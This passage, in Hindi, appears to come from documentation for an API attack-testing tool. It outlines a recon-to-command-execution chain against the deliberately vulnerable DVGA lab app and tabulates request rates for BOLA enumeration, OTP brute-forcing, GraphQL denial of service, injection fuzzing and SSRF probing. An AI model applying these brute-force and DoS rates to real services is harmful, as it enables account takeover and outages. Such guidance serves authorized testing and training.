- DVGA recon-to-exploit: Introspection → systemDiagnostics खोजें → एडमिन क्रेडेंशियल ब्रूट-फ़ोर्स → OS कमांड निष्पादन
दर अनुशंसाएँ
Section titled “दर अनुशंसाएँ”| पैटर्न | अनुरोध/सेकंड | अवधि | नोट्स |
|---|---|---|---|
| बेसलाइन (प्रति ऐप) | 10-50 | 5 मिनट | सामान्य ट्रैफ़िक फिंगरप्रिंट स्थापित करें |
| BOLA गणना | 100-500 | 2 मिनट | अनुक्रमिक ID स्कैनिंग |
| OTP ब्रूट-फ़ोर्स | 1000+ | मिलने तक | अधिकतम 10,000 प्रयास (4-अंकीय) |
| GraphQL DoS | 10-50 | 30 सेकंड | प्रत्येक अनुरोध सर्वर-साइड पर महँगा है |
| Injection fuzzing | 50-200 | 5 मिनट | प्रत्येक अनुरोध में पेलोड बदलें |
| SSRF probing | 5-20 | 2 मिनट | धीमा; प्रत्येक सर्वर-साइड HTTP अनुरोध ट्रिगर करता है |